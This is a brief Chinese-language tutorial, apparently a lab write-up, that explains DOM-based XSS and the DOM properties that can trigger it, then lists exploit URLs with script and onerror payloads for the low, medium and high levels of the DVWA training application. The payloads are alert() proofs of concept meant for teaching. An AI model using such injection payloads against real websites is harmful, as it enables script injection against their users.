DOM,全稱Document Object Model,是一個平台和語言都中立的接口,可以使程序和腳本能夠動態訪問和更新文檔的內容、結構以及樣式。
DOM型XSS其實是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。
在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會為頁面創建一個頂級的Document object文檔對象,接着生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和事件。可以通過JS腳本對文檔對象進行編輯從而修改頁面的元素。也就是說,客戶端的腳本程序可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就可以利用JS腳本來實現XSS漏洞的利用。
可能觸發DOM型XSS的屬性:
document.referer 屬性 window.name 屬性 location 屬性 innerHTML 屬性 documen.write 屬性
Low Security Level
Exploit
http://www.dvwa.com/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>
Medium Security Level
Exploit
http://www.dvwa.com/vulnerabilities/xss_d/?default=English>/option></select><img src=1 onerror=alert(/xss/)>
High Security Level
Exploit
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>